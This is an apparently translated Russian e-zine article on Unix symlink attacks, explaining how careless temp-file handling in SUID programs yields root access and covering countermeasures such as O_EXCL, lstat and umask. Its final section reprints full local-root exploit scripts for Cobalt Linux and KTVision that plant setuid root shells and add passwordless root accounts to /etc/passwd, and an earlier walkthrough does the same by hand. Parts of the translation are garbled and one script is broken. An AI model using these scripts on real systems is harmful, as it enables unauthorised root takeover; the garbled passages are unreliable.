- Папа, а хакеpы хоpошо полyчают?
- Хоpошо, сынок, лет эдак пятнадцать...

+--------------------------------------------------------------------------------------------------------------------------------[release: 16.06.04]----+
|
|
|
|
|
|
|
  _|_|  _|_|_|  _|_|    _|_|_|    _|_|    _|  _|    _|  _|_|    _|_|_|      _|  _|     _|_|_|
_|      _|  _|  _|  _|  _|        _|  _|      _|_|_|_|  _|  _|  _|        _|_|_|_|_|       _|
_|      _|  _|  _|  _|  _|_|      _|_|    _|  _| |  _|  _|_|    _|_|_|      _|  _|     _|_|_|
_|      _|  _|  _|  _|  _|        _|      _|  _|    _|  _|          _|    _|_|_|_|_|       _|
  _|_|  _|_|_|  _|_|    _|_|_|    _|      _|  _|    _|  _|      _|_|_|      _|  _|     _|_|_|
|
|
|
|
|
|
|
+-------------------------------------------------------------------------------------------------------------------------------------------------------------+
+-------------------------------------------------------[0x06: Атаки типа Symlink (перевод)]--------------------------------------------------+
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|

Как агрессор через ошибки в программировании может получить административные права.

Содержание:
1.0 предисловие
2.0 внедрение
3.0 опасности при программистских опытах
4.0 контрмеры
5.0 практические примеры с Securityfocus
6.0 Greets



1.0 предисловие

В тексте речь идет о возникновении, открытии и использовании Symlink атак. С самого начала этот текст не был статьей на научную тематику а должен был по возможности способствовать тому, чтобы читатели узнали что такое Symlink атаки и как они возникают. Первоначально этот текст был написан под emacs, но так многие пользователи Windows так же используют этот текст, он был так же оптимизирован под Word. *: / Расстановка запятых совсем пропускалась на основе состояния души авторов. Так что можете распечатать все орфографические ошибки и повесить их на стену. *;) Текст посвящен опытам по программированию на языке C в UNIX подобных операционных системах. Отзывы присылайте на адрес [email protected].


2.0 внедрение

Пользователи вынуждены часто работать с файлами. Уже один каталог HOME отчетливо демонстрирует этот факт. У UNIX подобных систем (и клонов Unix таких как Linux) файлы обычно имеют владельца и группу. Если, например, Томас Митглид является пользователем группы "a", то файл "thomas", принадлежащий Томасу Митглиду принадлежит и группе "a". В чем преимущество такой системы? В Unix системах пользователи имеют определенные права доступа. Это гарантирует, что несколько пользователей, работающих в системе, не смогут удалить или скопировать без разрешения файлы. Таким образом, пользователь Томас может сам устанавливать права на прочтение или запись в его файлы.

Можно столкнуться с файлами, на которых установлены разные права, они могут так же быть и различного типа, то есть иметь разные форматы. Самые частовстречающиеся - текстовые и исполнимые файлы. Наряду с этими "нормальными" файлами в Unix системах существуют многие разновидности файлов, каких мы не найдем в более простых системах, таких как MS-DOS к примеру. Итак:

-Нормальными файлами можно считать файлы данных или программы

-Слева: слева задается альтернатива имени файла, т.е. к тому же самому файлу можно обращаться с другим именем.

* Жесткие ссылки : здесь не обсуждаются.

* Символические ссылки: Как уже было упомянуто выше, это псевдо ссылки на следующий файл. Символические ссылки называют так же "Soft - ссылки". Вместе с тем это ссылки в границах файловой системы.

Думаю принцип символических ссылок станет ясен из примера.

Однако, сначала мы займемся командной оболочкой "ln". Ориентированная на строки программа находится в каталоге /bin/ и доступна на исполнение как правило для каждого пользователя.
ln [опция] для имени файла и ссылок. 
Составления ссылки на имя файла:

       Опции:

       -f  :  Если происходит вынужденное открытие ссылки
              (эта опция не требует подтверждения на разрешение).

       -n  : Не озаглавливает существующие файлы.

       -s  : Производит символическую ссылку.

        Пример:

      l0om@home:~/test> ln -s /etc/passwd ./symtest
      l0om@home:~/test> ls -l ./symtest
      lrwxrwxrwx    1   l0om  500    10 Nov  3 16:32 ./symtest -> /etc/passwd
      l0om@home:~/test> # puhh... now iam l337  ;)
      l0om@home:~/test> head -n 1 ./symtest
      root:x:0:0:root:/root:/bin/bash
      l0om@home:~/test> echo "owned" >>./symtest
     Permission denied.
В первом запросе мы производим символическую ссылку на /etc/passwd после ./symtest Командой "ls-l" (причем ls относится к списку а -l показывает права доступа) мы можем получить сведения о файле. Как мы можем догадаться по "l" в начале строки, речь идет о ссылке. В принципе ясно, что права доступа позволяют нам относить запросы только к ссылкам, а не к файлам на которые они ссылаются. "l0om" является владельцем ссылки и принадлежит группе с ID 500. Далее следует дата последней модификации файла и в конце стоит пояснение для ссылки. Протекает ли со ссылкой действительно все так гладко, мы проверяем в то время, когда мы в первую строку нашей ссылки (/etc/passwd) ставим сообщение. Запись с откликом в файл, конечно остается отклоненной.
############################NOTE##########################

          l0om@host:~> echo fun with the symbolic links
          l0om@host:~> mkdir dir1
          l0om@host:~> touch dir1/datei
          l0om@host:~> ln ../dir1 dir1/dir2
          l0om@host:~> ls -LR dir1
          l0om@host:~> ^C^C^C^  #Wow!

###########################################################


3.0 опасности при программистских опытах

Агрессоров всегда интересуют их права доступа. Основной целью усилий агрессора являются права root (суперпользователя). С этими правами доступа он получает тотальный контроль над системой и может манипулировать и использовать систему в своих целях.

Как агрессор получает эти права? Тема кажется почти бесконечной. В большинстве случаев в захвате root прав используют эксплойты. Эксплойты - это программы использующие ошибки / небрежности в программировании и нарушающие надежность системы. Существует множество методик эксплойтов:

-переполнение буфера,
-атака на форматную строку,
-переполнение кучи,
-Race Conditons и
-Symlink атаки являются пожалуюй самыми известными.

Как возникает возможность для агрессора поставить системную надежность с помощью Symlink атаки на колени? Можно собственно сказать одно: каждый раз где файл открывается в результате небрежностей в программировании, может быть проведена Symlink атака. Особенно опасно если программа выполняется с БИТОМ SUID... Многие программы во время своего окончания создают временные файлы (файлы выгрузки). В них хранятся данные чтобы позже быть снова использованными. Временные файлы по большей части создаются в каталоге /tmp/ , однако есть и много исключений. Знаменит пример из известной книги "Антихакер". В этом примере речь идет о нападении "сбора приложений" в Solaris системах. Каждый раз если выполняется "сбор приложений" происходит вкладка временного файла с именем "/var/dt/appconfig/appmanager/generic-display-0" что устанавливает право файла на "0666". Кроме того, пользователь может выполнить файл как будто он является зарегистрированным собственником этого файла. К сожалению, никакая логичная проверка не может установить существует ли файл самостоятельно, или действует в качестве символической ссылки на другой файл (например, /etc/passwd).

Как это выглядит на практике?
l0om@home:~> ls -l /etc/passwd
-r-xr-xr-x   1 root root  560  May 5 22:36 /etc/passwd
Нам нужно узнать какие файлы может читать пользователь l0om. Далее необходимо выяснить какие файлы принадлежат суперпользователю и го групее.

Теперь производим ссылку /var/dt/appconfig/appmanager/generic-display-0 на /etc/passwd
l0om@home:~> ln -s /etc/passwd /var/dt/appconfig/appmanager/generic-display-0
Теперь выполняем "сбор приложений" и устанавливаем права доступа у /etc/passwd
      l0om@home:~> ls -l /etc/passwd
     -r-xr-xr-x    1 l0om l0om  560  May 5 22:36 /etc/passwd
Как теперь видно, "сбор приложений" попал в ловушку и незамедлительно назначил нас владельцем /etc/passwd

Как теперь видно, "сбор приложений" попал в ловушку и незамедлительно назначил нас владельцем /etc/passwd. К сожалению эта милая функция программы не названа в справочнике...
     l0om@home:~> chmod +w /etc/passwd
     l0om@home:~> echo "Drl0om::0:0:muhaha:/:/bin/bash" >>/etc/passwd
     l0om@home:~> su Drl0om && echo "Schachmatt"

                        # No comment 
--- Перейдем к деталям---

Теперь эта программистская ошибка стала ясной. Часто такие ошибки в программировании вытекают из неправильного применения функций open () или creat ().
Definition

    #include 
    #include 
    #include 
int open(const char *имя файла, int flags, ... /*, mode_t modus*/ );
возвращает: Filedeskriptor при успехе, при ошибке -1

Имя файла: имя открываемого файла.

признаки: в качестве признака могут указываться в fcntl.h определенные константы:
      O_RDONLY = файл открыт только для чтения .
      O_WRONLY = файл открыт только для записи.
      O_RDWR = файл открыт для чтения и записи.
каждый признак должен указываться одной из этих трех констант.

Наряду с этими 3 константами имеется следующий оптимальные признаки, которые должны быть связаны с помощью | -оператора (способом бита OR).
     O_APPEND = файл открывается на запись вконце

     O_CREAT = файл появляется  по-новому если его не существует.
                            в этом случае также должен указываться третий аргумент.
                            Режим выкладывает права доступа для нового файла. 
                            Если файл уже существовал эта константа не имеет никаких воздействий

     O_EXCL =    в случае O_EXCL вместе с O_CREAT указаный файл не может
                           открываться если он уже существует  и open () -1 (для ошибки).

              ...

     Интересна следующая опция:
     l0om@home:~> man open
Для начала этих сведений достаточно.

Маленький пример (эта программа использует SUID-бит):
      /* start */
      ...
      int fd;
      ...
      fd = open(TMPFILENAME, O_RDWR | O_CREAT, 0666);  /* Omfg */
     /* break here */
Здесь не производится никакой логичной проверки существует ли уже TMPFILENAME и/или речь идет о символической ссылке. Если наш агрессор уже поставил в преддверии символическую ссылку с именем констант на важный системный файл такой как/etc/passwd то она уже имела бы силу, то есть выполнялась бы. В принципе то же самое происходит при ошибочном вызове функции creat ().
    l0om@host:~> man creat
Похожая опасность получается при вызове функции fopen ().
     Definition
      #include 
      FILE *fopen(const char *dateiname, const char *modus);
если ФАЙЛ возвращает стрелку на имя файла, при ошибке NULL

имя файла: имя файла # кто бы мог подумать???
modus (режим): с этим аргументом устанавливается вид доступа...

         "r":           открывается только для чтения.
         "w":         открывается только для записи.
         "a":          открывается на запись в конце файла.
         " r + ":     открывается на письмо+чтение.
         " w + ":    открывается на письмо+чтение..
         " a + ":    открывается для чтения и письма, начиная с конца файла
С особенной осторожностью пожалуй нужно пользоваться "w" и " w + ". При открытии файла с обоими упомянутыми видами доступа все содержание уже существующего файла удаляется. К сожалению, никакая логичная проверка также не производится при выполнении этой функции. (то, что он уже существует должно проверяться раньше). То есть агрессор может использовать эти функции для удаления содержания важных системных файлов (например,/etc/passwd, /var/utmp, /var/wtmp ...).

Похожая проблема возникает, когда применяется функция tmpfile () при открытии файлов с режимом " w + ".
#########################NOTE############################

Также нужно быть осторожным при создании файлов выгрузки с fopen (). 
Все по-новому заложенные файлы будут исполняться, ведь, согласно POSIX у них права доступа:
rw-rw-rw-
Это значит, что каждая вложенная в  содержание файла выгрузки функция доступна для чтения или 
модификации.
Но это собственно,  не проблемы напрямую связанные  с символическими ссылками, а вопрос прав 
доступа устанавливаемых для файлов. Поэтому мы оставляем эту проблему…

##########################################################


4.0 контрмеры

Как можно предотвратить атаки через символические ссылки?

Как говориться много дорог ведет в Рим. Но главное здесь это то, что ПРОГРАММИСТ ДОЛЖЕН ВСЕГДА ПРОВЕРЯТЬ УВЕРЕННОСТЬ В ТОМ, ЧТО ФАЙЛ УЖЕ СУЩЕСТВУЕТ.

Как было описано выше, это можно обеспечить с помощью O_EXCL. Если этот признак установлен, то агрессор при попытке совершения атаки столкнулся с тем, что файл уже существует. А при попытке захвата функции open () к нему возвратился бы ответ -1.

Как увидеть осуществляется ли при логической проверке проверка на символическую ссылку?

Для этого мы посмотрим на структуру функций lstat () и stat.

Stat структура содержит необходимые сведения о файле.
Stat структура:

struct stat {
mode_t st_mode;             /* Вид файла и права доступа */
ino_t st_ino;                     /* i-node номерr */
dev_t st_dev;                   /* Номер устройства */
dev_t st_rdev;                  /* Номер устройства для файловых устройств */
nlink_t st_nlink;               /*Количество ссылок */
uid_t st_uid;                     /* User-ID собственника */
gid_t st_gid;                     /* Group-ID собственникаs */
off_t st_size;                    /* величина в байтах нормального файла */
time_t st_atime;               /*время последнего доступа */
time_t st_mtime;              /*время последней модификации */
time_t st_ctime;               /* время последнего изменения i-nodes */
long st_blksize;                /* предварительные установки блочной величины */
long st_blocks;                 /* количество необходимых 512 -байтных блоков */
};
Definition:

int lstat(const char *dateiname, struct stat *puffer); возвращает 0 при успехе, -1при ошибке

lstat описывает как и stat () свойства файла, имя файла, переменные величины, структуру буфера. В отличие от stat (), lstat () в случае с именем файла описывает символическую ссылку после буфера.

Чтоб узнать о других функциях stat (): l0om@home:~> man stat

Элемент структуры st_mode содержит права доступа, а также вид файла. Чтобы считывать вид файла из переменных величин нужны макрокоманды sys/stat.h.
Makro             ВЕРНО если подставить

S_ISREG()           регулярный файл
S_ISDIR()             каталог
S_ISCHR()           ориентированное на знак устройство
S_ISBLK()            ориентированное на блок устройствоt 
S_ISFIFO()           FIFO или PIPE 
S_ISLNK()           символические ссылки
S_ISSOCK()        сокет
С помощью макрокоманды S_ISLNK () мы можем страховаться от символических ссылок. Однако, лучше всего совершать следующую проверку:
/* start */
...
структура stat атрибута;
...
if(!(S_ISREG(attribut.st_mode))) { fprintf(stderr,"не регулярный файл\n");

                                   возврат -1; /* или другая статья */
                                }
...
/* end */
Таким образом, мы закрываем действия вокругPIPE. Но я не упомянул, что здесь существует та же опасность относительно PIPES или FIFOS. Но агрессору конечно удобнее производить ссылку на другие файлы.

В любом ли случае проблему вызовет открытие tmpfile (), который создаст tmp файл с " w + " правам доступа???

Конечно, неn! Имеется возможность изменить определенные маски доступа как для tmpfile (), так же для fopen () . Это делается при помощи функции umask ()...
Definition

#include 
#include 

mode_t umask(mode_t maske);

                     возвращать, если доступна предыдущая маска.
Маска файла таким образом становится чем-то вроде сита, которое фильтрует права доступа. Признаки могут быть связаны при помощи | (или оператора OR).
константа         значение

S_IRUSR        право чтения для собственника
S_IWUSR       право записи для собственника
S_IXUSR       право исполнения для собственника
S_IRWXU      все права для собственника

S_IRGRP        право чтения для группы
S_IWGRP       правозаписи для группы
S_IXGRP        право исполнения для группы
S_IRWXG      все права для группы

S_IROTH       право чтения для других пользователей
S_IWOTH     право записи для других пользователей
S_IXOTH      право исполнения  для других пользователей
S_IRWXO    все три права для других пользователей
Наш программный пример:
/* начало */
...
umask (0);/* разрешает все права доступа */
...
umask (S_IXWUSR | S_IRWXG | S_IRWXO);

/* эти установки не дают  пользователям группы открывать файл на исполнение со всеми тремя параметрами. */
 

creat ("test.tmp", S_IRWXU | S_IRWXG | S_IRWXO);/* создаем файл со всеми правами доступа*/ 


/* таким образом мы получаем файл вида
   rw-------
   этот метод можно использовать и при параметрах fopen () или tmpfile () */
...

/* конец */
Еще я хотел бы обратить ваше внимание на программу L0pht Watch которая внимательно следит за перечнем новых файлов выгрузки из каталога /tmp. Прога находится тут: www.l0pht.com/advisories/l0pht-watch.tar.gz. Использование этой программы позволяет быстро и просто обнаруживать Symlink-атаки.


5.0 практические примеры с Securityfocus

В конце я прибавил еще 3 реальных примера для Symlink-атак. Здесь я ссылаюсь на SecurityFocus где можно найти массу таких программистских ошибок, которые зачастую имеют печальные последствия.
###############################################################################

1) xbreaky

###############################################################################

-----------------------------------------------------------------------

Title:             xbreaky symlink vulnerability

Author:            Marco van Berkum

Classification:    High risk

Date:              12/09/2002

Email:             [email protected]

Company:           OBIT

Company site:      http://www.obit.nl

Personal website:  http://ws.obit.nl

-----------------------------------------------------------------------

 

About xbreaky

-------------

xbreaky is a breakout game for X written by Dave Brul which can be downloaded

from http://xbreaky.sourceforge.net. xbreaky is added to the OpenBSD ports tree,

NetBSD tree and possibly others.


Problem

-------

By default xbreaky is installed as suid and can be abused to overwrite any file

on the filesystem, by any user.

 

Vulnerable versions

-------------------

All versions prior to 0.0.5

 

Exploit

-------

xbreaky uses $HOME/.breakyhighscores to write the highscores to, when

$HOME/.breakyhighscores is symlinked to another file (*any* file) it simply

overwrites it as root user.

 

Example

-------

root@animal:/home/marco# echo "bla" >rootfile

root@animal:/home/marco# chmod 600 rootfile

root@animal:/home/marco# exit

logout

marco@animal:~$ ln -s rootfile .breakyhighscores

 

marco@animal:~$ xbreaky

 

Now I play a game and set highscore as user "lol", then I exit the game.

Its a nice game btw :)

 

marco@animal:~$ cat rootfile

cat: rootfile: Permission denied

marco@animal:~$ su -

Password:

root@animal:~# cat /home/marco/rootfile

lol <- voila, our highscore user

 

Author's response and solution

------------------------------

The author corrected the problem and released xbreaky 0.0.5

 

Credits

-------

Thanks to Dennis Oelkers for testing.

 

##############################################################################

 

2) Cobalt Linux 6.0 Local Root

 

##############################################################################

 

Good morning all,

   I would like to apologise if this is old news, however I dont quite 

recall seeing this come across here yet.  I just had a colo customer who 

was 100% up to date on cobalt release patches get owned with the following.

 

 

#!/bin/sh

#

# Cobalt Linux 6.0 Local Root Exploit

#

# Effects: <= apache-1.3.20-RaQ4_1C3 (AFAIK all Cobalt Linux Apache ;)

# Quick Fix: su - root -c "chmod 755 /usr/lib/authenticate"

#

# Problem Source Code:

# fd = open("gmon.out", O_WRONLY|O_CREAT|O_TRUNC, 0666);

#

# Suggested Code:

# fd = mkstemp("/tmp/gmon.out-XXXXXX");

#

# Still need help Cobalt developers? Ok:

# man 3 tmpfile; man 2 open; echo "Thanks core"

#

# by Charles Stevenson 

#

# Fri Jun 28 03:35:53 MDT 2002

# - initial version

# Sun Jul 7 20:12:41 MDT 2002

# - added some features for robustness

 

echo "RaQFuCK.sh by core"

 

target="/usr/lib/authenticate"

tempdir="/tmp"

 

if [ -u /.sushi ] ; then

exec /.sushi

fi

 

printf "Checking for $target..."

if [ -f "$target" ] ; then

echo "done."

else

echo "NO!"

exit 1

fi

 

printf "Checking if $target is setuid root..."

if [ -u "$target" ] ; then

echo "done."

else

echo "NO! Hrm... does this admin have a clue???"

exit 1

fi

 

if [ ! -d "$tempdir/core" ]; then

printf "Creating $tempdir/core..."

if ! mkdir "$tempdir/core" 2>/dev/null ; then

echo "FAILED!" ; exit 1

fi

echo "done."

fi

 

printf "Changing directory to $tempdir/core..."

if ! cd "$tempdir/core" 2>/dev/null ; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

 

printf "Creating cron.d symlink..."

if ! ln -fs /etc/cron.d/core gmon.out 2>/dev/null; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

 

printf "Changing umask..."

if ! umask 000 ; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

 

printf "Compiling root shell..."

cat >sushi.c <

int main (int argc, char **argv, char **envp) {

setuid(0);

setgid(0);

execve("/bin/sh",argv,envp);

return -1;

}

EOF

if ! cc sushi.c -o sushi 2>/dev/null; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

 

printf "Compiling cron takeover..."

cat >takeover.c <

main() { system("cp $tempdir/core/sushi /.sushi ; chmod 6777 /.sushi"); }

EOF

if ! cc takeover.c -o own 2>/dev/null; then

echo "FAILED!" ; exit 1

fi

echo "done."

 

printf "Performing symlink attack..."

printf "\n\n\n\n" | "$target"

if [ -u /etc/cron.d/core ] ; then

echo "SYMLINK ATTACK FAILED!" && exit 1

else

echo "done."

fi

 

printf "Setting up evil cron job..."

cat >croncore </dev/null >/etc/cron.d/core; then

echo "FAILED!" ; exit 1

else

echo "done."

fi

 

printf "Waiting for root shell"

while [ ! -u /.sushi ] ; do

sleep 1 ; printf "."

done

echo "done."

 

cd /

 

printf "Cleaning up real quick..."

if ! /.sushi -c "rm -rf $tempdir/core /etc/cron.d/core"; then

echo "FAILED??? Fuck it!"

else

echo "done."

fi

 

echo "Spawning root shell!!! God Damn! I say GOD DAMN!!"

if ! exec /.sushi -i; then

echo "Exec Failed!!! BUMMER!" ; exit 1

fi

 

################################################################################


3) Symlinks Symlinks - This time KTVison


################################################################################


Hi ppl,

the subject already states the problem: there is a symlink follow

problem in the (in many distributions suid root) ktvision binary <=

0.1.1-271.


It is discouraging that nowadays such trivial symlink attacks are still

possible. No comment anymore. In order to be complete: a bash script

demonstrating this vulnerability is attached below.

 

Ihq.

 

------------------------- ktv.sh -------------------------------

#!/bin/bash
 

link=/home/paul/.kde/share/config

linkto=/etc/passwd

target=/opt/kde/bin/ktvision

 

echo ""

echo "KTVision <= 0.1.1-271 local r00t exploit by IhaQueR"

echo ""

 

if ! test -u $target ; then

    echo "[-] $target not found"

    exit 1

fi;

 

echo "[+] $target found"

 

rm -f sush*

cat <<__DUPA__>>sush.c

#include 

main()

{

    setuid(geteuid());

    setgid(getegid());

    execl("/bin/bash", "/bin/bash", NULL);

}

__DUPA__

 

echo "    compiling sush"

res=$(gcc sush.c -o sush)

 

if test "$res" != "" -o ! -x sush ; then

    echo "[-] failed"

    rm sush* ktvback.*

    exit 2;

fi;

 

echo "[+] success"

 

cp $linkto ktvback.$$

mkdir -p $link

rm -f $link/ktvisionrc

ln -s $linkto $link/ktvisionrc

 

echo ""

echo -n "now running... (ensure that X is up and running)"

 

$target >/dev/null 2>&1 &

cpid=$!

 

declare -i cnt

 

declare -i max

cnt=0

max=60

 

while ! test -O $linkto ; do

    sleep 1;

    printf "  %.2d" $cnt

    cnt=$(($cnt+1))

    if test $cnt -ge $max ; then

         echo ""

         echo ""

         echo "[-] FAILED"

         rm sush* ktvback.*

         exit 2;

    fi;

done;

 

kill -9 $cpid >/dev/null 2>&1

rm $link/ktvisionrc

 

echo ""

echo ""

echo "[+] SUCCESS, creating sush"

echo >>$linkto "r00t::0:0:root:/root:/bin/bash"

echo ""

su r00t -c "chown 0.0 sush; chmod u+s sush; chmod g+s sush; cp

ktvback.$$ $linkto; chown 0.0 $linkto"

rm ktvback.* sush.c

 

if ! test -u sush ; then

        echo "    hm strange error"

    rm sush* ktvback.*

        exit 1

fi;

 

echo ""

echo "starting ./sush"

./sush
..................................................................................................................................................................................... l0om
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
+-----[content]-----------------------------------------------------------------------------------------------------------------------------[mail us]-----+